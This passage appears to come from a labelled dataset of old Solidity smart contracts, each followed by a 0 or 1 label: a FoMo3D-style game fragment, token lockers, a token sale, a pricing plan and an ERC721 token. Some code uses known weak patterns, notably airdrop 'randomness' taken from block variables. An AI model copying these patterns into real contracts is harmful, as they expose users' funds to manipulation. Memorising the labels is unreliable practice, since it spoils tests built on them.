(_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "FOMO Short already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
pragma solidity ^0.4.23; contract NokuPricingPlan { function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); function usageFee(bytes32 serviceName, uint256 multiplier) public view returns(uint fee); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BurnableERC20 is ERC20 { function burn(uint256 amount) public returns (bool burned); } contract NokuTokenBurner is Pausable { using SafeMath for uint256; event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); address public wallet; uint256 public burningPercentage; uint256 public burnedTokens; uint256 public transferredTokens; constructor(address _wallet) public { require(_wallet != address(0), "_wallet is zero"); wallet = _wallet; burningPercentage = 100; emit LogNokuTokenBurnerCreated(msg.sender, _wallet); } function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); burningPercentage = _burningPercentage; emit LogBurningPercentageChanged(msg.sender, _burningPercentage); } function tokenReceived(address _token, uint256 _amount) public whenNotPaused { require(_token != address(0), "_token is zero"); require(_amount > 0, "_amount is zero"); uint256 amountToBurn = _amount.mul(burningPercentage).div(100); if (amountToBurn > 0) { assert(BurnableERC20(_token).burn(amountToBurn)); burnedTokens = burnedTokens.add(amountToBurn); } uint256 amountToTransfer = _amount.sub(amountToBurn); if (amountToTransfer > 0) { assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); transferredTokens = transferredTokens.add(amountToTransfer); } } } contract NokuFlatPlan is NokuPricingPlan, Ownable { using SafeMath for uint256; event LogNokuFlatPlanCreated( address indexed caller, uint256 indexed paymentInterval, uint256 indexed flatFee, address nokuMasterToken, address tokenBurner ); event LogPaymentIntervalChanged(address indexed caller, uint256 indexed paymentInterval); event LogFlatFeeChanged(address indexed caller, uint256 indexed flatFee); uint256 public paymentInterval; uint256 public nextPaymentTime; uint256 public flatFee; address public nokuMasterToken; address public tokenBurner; constructor( uint256 _paymentInterval, uint256 _flatFee, address _nokuMasterToken, address _tokenBurner ) public { require(_paymentInterval != 0, "_paymentInterval is zero"); require(_flatFee != 0, "_flatFee is zero"); require(_nokuMasterToken != 0, "_nokuMasterToken is zero"); require(_tokenBurner != 0, "_tokenBurner is zero"); paymentInterval = _paymentInterval; flatFee = _flatFee; nokuMasterToken = _nokuMasterToken; tokenBurner = _tokenBurner; nextPaymentTime = block.timestamp; emit LogNokuFlatPlanCreated( msg.sender, _paymentInterval, _flatFee, _nokuMasterToken, _tokenBurner ); } function setPaymentInterval(uint256 _paymentInterval) public onlyOwner { require(_paymentInterval != 0, "_paymentInterval is zero"); require(_paymentInterval != paymentInterval, "_paymentInterval equal to current one"); paymentInterval = _paymentInterval; emit LogPaymentIntervalChanged(msg.sender, _paymentInterval); } function setFlatFee(uint256 _flatFee) public onlyOwner { require(_flatFee != 0, "_flatFee is zero"); require(_flatFee != flatFee, "_flatFee equal to current one"); flatFee = _flatFee; emit LogFlatFeeChanged(msg.sender, _flatFee); } function isValidService(bytes32 _serviceName) public pure returns(bool isValid) { return _serviceName != 0; } function payFee(bytes32 _serviceName, uint256 _multiplier, address _client) public returns(bool paid) { require(isValidService(_serviceName), "_serviceName in invalid"); require(_multiplier != 0, "_multiplier is zero"); require(_client != 0, "_client is zero"); require(block.timestamp < nextPaymentTime); return true; } function usageFee(bytes32 , uint256 ) public view returns(uint fee) { return 0; } function paySubscription(address _client) public returns(bool paid) { require(_client != 0, "_client is zero"); nextPaymentTime = nextPaymentTime.add(paymentInterval); assert(ERC20(nokuMasterToken).transferFrom(_client, tokenBurner, flatFee)); NokuTokenBurner(tokenBurner).tokenReceived(nokuMasterToken, flatFee); return true; } }
0
pragma solidity ^0.4.18; contract ERC721 { function approve(address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); } contract ThingToken is ERC721 { event Birth(uint256 tokenId, string name, address owner); event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name); event Transfer(address from, address to, uint256 tokenId); string public constant NAME = "CryptoThing"; string public constant SYMBOL = "ThingToken"; uint256 private startingPrice = 0.001 ether; uint256 private constant PROMO_CREATION_LIMIT = 5000; uint256 private firstStepLimit = 0.053613 ether; uint256 private secondStepLimit = 0.564957 ether; mapping (uint256 => address) public personIndexToOwner; mapping (address => uint256) private ownershipTokenCount; mapping (uint256 => address) public personIndexToApproved; mapping (uint256 => uint256) private personIndexToPrice; address public ceoAddress; address public cooAddress; uint256 public promoCreatedCount; struct Person { string name; } Person[] private persons; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } function ThingToken() public { ceoAddress = msg.sender; cooAddress = msg.sender; } function approve( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); personIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } function createPromoPerson(address _owner, string _name, uint256 _price) public onlyCOO { require(promoCreatedCount < PROMO_CREATION_LIMIT); address personOwner = _owner; if (personOwner == address(0)) { personOwner = cooAddress; } if (_price <= 0) { _price = startingPrice; } promoCreatedCount++; _createPerson(_name, personOwner, _price); } function createContractPerson(string _name) public onlyCOO { _createPerson(_name, address(this), startingPrice); } function getPerson(uint256 _tokenId) public view returns ( string personName, uint256 sellingPrice, address owner ) { Person storage person = persons[_tokenId]; personName = person.name; sellingPrice = personIndexToPrice[_tokenId]; owner = personIndexToOwner[_tokenId]; } function implementsERC721() public pure returns (bool) { return true; } function name() public pure returns (string) { return NAME; } function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = personIndexToOwner[_tokenId]; require(owner != address(0)); } function payout(address _to) public onlyCLevel { _payout(_to); } function purchase(uint256 _tokenId) public payable { address oldOwner = personIndexToOwner[_tokenId]; address newOwner = msg.sender; uint256 sellingPrice = personIndexToPrice[_tokenId]; require(oldOwner != newOwner); require(_addressNotNull(newOwner)); require(msg.value >= sellingPrice); uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100)); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); if (sellingPrice < firstStepLimit) { personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94); } else if (sellingPrice < secondStepLimit) { personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94); } else { personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94); } _transfer(oldOwner, newOwner, _tokenId); if (oldOwner != address(this)) { oldOwner.transfer(payment); } TokenSold(_tokenId, sellingPrice, personIndexToPrice[_tokenId], oldOwner, newOwner, persons[_tokenId].name); msg.sender.transfer(purchaseExcess); } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return personIndexToPrice[_tokenId]; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } function symbol() public pure returns (string) { return SYMBOL; } function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = personIndexToOwner[_tokenId]; require(_addressNotNull(newOwner)); require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalPersons = totalSupply(); uint256 resultIndex = 0; uint256 personId; for (personId = 0; personId <= totalPersons; personId++) { if (personIndexToOwner[personId] == _owner) { result[resultIndex] = personId; resultIndex++; } } return result; } } function totalSupply() public view returns (uint256 total) { return persons.length; } function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return personIndexToApproved[_tokenId] == _to; } function _createPerson(string _name, address _owner, uint256 _price) private { Person memory _person = Person({ name: _name }); uint256 newPersonId = persons.push(_person) - 1; require(newPersonId == uint256(uint32(newPersonId))); Birth(newPersonId, _name, _owner); personIndexToPrice[newPersonId] = _price; _transfer(address(0), _owner, newPersonId); } function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == personIndexToOwner[_tokenId]; } function _payout(address _to) private { if (_to == address(0)) { ceoAddress.transfer(this.balance); } else { _to.transfer(this.balance); } } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; personIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete personIndexToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30240000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x79385E1a865fF64c931Bf41f32a547C4E136f658; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IJoycoinToken { function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external view returns (uint256); function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function burnUnsold() external returns (bool); } contract JoycoinSale is Ownable { using SafeMath for uint256; event NewRound(uint256 round, uint256 at); event Finish(uint256 at); uint256 constant round3Duration = 90 days; uint256 constant softCap = 140000000 * 10 ** 8; IJoycoinToken public token; uint256 public round; uint256 public round3StartAt; uint256 public tokensSold; bool isFinished; uint256 finishedAt; mapping(address => bool) public whiteListedWallets; constructor(address _token) public { require(_token != address(0)); token = IJoycoinToken(_token); round = 1; emit NewRound(1, now); } function addWalletToWhitelist(address _wallet) public onlyOwner returns (bool) { whiteListedWallets[_wallet] = true; return true; } function removeWalletFromWhitelist(address _wallet) public onlyOwner returns (bool) { whiteListedWallets[_wallet] = false; return true; } function addWalletsToWhitelist(address[] _wallets) public onlyOwner returns (bool) { uint256 i = 0; while (i < _wallets.length) { whiteListedWallets[_wallets[i]] = true; i += 1; } return true; } function removeWalletsFromWhitelist(address[] _wallets) public onlyOwner returns (bool) { uint256 i = 0; while (i < _wallets.length) { whiteListedWallets[_wallets[i]] = false; i += 1; } return true; } function finishSale() public onlyOwner returns (bool) { require ( (round3StartAt > 0 && now > (round3StartAt + round3Duration)) || token.balanceOf(address(this)) == 0); require (!isFinished); require (tokensSold >= softCap); isFinished = true; finishedAt = now; if (token.balanceOf(address(this)) > 0) { token.burnUnsold(); } emit Finish(now); return true; } function getEndDate() public view returns (uint256) { return finishedAt; } function setRound(uint256 _round) public onlyOwner returns (bool) { require (_round == 2 || _round == 3); require (_round == round + 1); round = _round; if (_round == 3) { round3StartAt = now; } emit NewRound(_round, now); return true; } function sendTokens(address[] _recipients, uint256[] _values) onlyOwner public returns (bool) { require(_recipients.length == _values.length); require(!isFinished); uint256 i = 0; while (i < _recipients.length) { if (round == 1 || round == 3) { require(whiteListedWallets[_recipients[i]]); } if (_values[i] > 0) { token.transfer(_recipients[i], _values[i]); tokensSold = tokensSold.add(_values[i]); } i += 1; } return true; } function sendBonusTokens(address[] _recipients, uint256[] _values) onlyOwner public returns (bool) { require(_recipients.length == _values.length); require(!isFinished); uint256 i = 0; while (i < _recipients.length) { if (round == 1 || round == 3) { require(whiteListedWallets[_recipients[i]]); } if (_values[i] > 0) { token.transfer(_recipients[i], _values[i]); } i += 1; } return true; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29635200; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xCEd571aC84DF8e4daF0ccC77BB02df0429E8Ca4C; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } library SafeERC20 { function safeTransfer(ERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } } contract OraclizeInterface { function getEthPrice() public view returns (uint256); } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function _mint(address _account, uint256 _amount) internal { require(_account != 0); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } contract BurnableToken is 